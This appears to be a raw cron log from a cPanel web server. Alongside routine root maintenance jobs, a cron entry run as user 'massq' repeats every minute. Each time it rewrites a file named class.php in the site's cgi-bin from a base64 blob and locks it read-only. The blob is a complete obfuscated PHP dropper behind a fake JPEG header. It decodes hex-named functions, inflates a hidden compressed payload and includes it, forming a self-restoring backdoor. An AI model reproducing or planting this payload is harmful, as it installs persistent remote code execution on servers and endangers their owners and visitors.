Sep 12 20:05:01 server CROND[23947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:05:01 server CROND[23950]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:05:01 server CROND[23951]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:05:01 server CROND[23963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:06:01 server CROND[24779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:06:01 server CROND[24780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:06:01 server CROND[24781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:07:01 server CROND[25147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:07:01 server CROND[25148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:07:01 server CROND[25149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:08:01 server CROND[25516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:08:01 server CROND[25517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:08:01 server CROND[25518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:09:01 server CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:09:01 server CROND[26008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:09:01 server CROND[26009]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 20:09:01 server CROND[26010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:10:01 server CROND[26396]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:10:01 server CROND[26398]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:10:01 server CROND[26402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:10:01 server CROND[26405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:10:01 server CROND[26400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:10:01 server CROND[26403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:10:01 server CROND[26404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:10:01 server CROND[26407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:11:01 server CROND[27340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:11:01 server CROND[27341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:11:01 server CROND[27342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:12:01 server CROND[27710]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:12:01 server CROND[27711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:12:01 server CROND[27712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:12:01 server CROND[27713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:13:01 server CROND[28073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:13:01 server CROND[28072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:13:01 server CROND[28074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:14:01 server CROND[28542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:14:01 server CROND[28543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:14:01 server CROND[28544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:15:01 server CROND[28929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:15:01 server CROND[28930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:15:01 server CROND[28937]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:15:01 server CROND[28948]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 20:15:01 server CROND[28954]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:15:01 server CROND[28947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:15:01 server CROND[28949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:15:01 server CROND[28950]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 20:15:01 server CROND[28951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:16:01 server CROND[29795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:16:01 server CROND[29796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:16:01 server CROND[29797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:17:01 server CROND[30168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
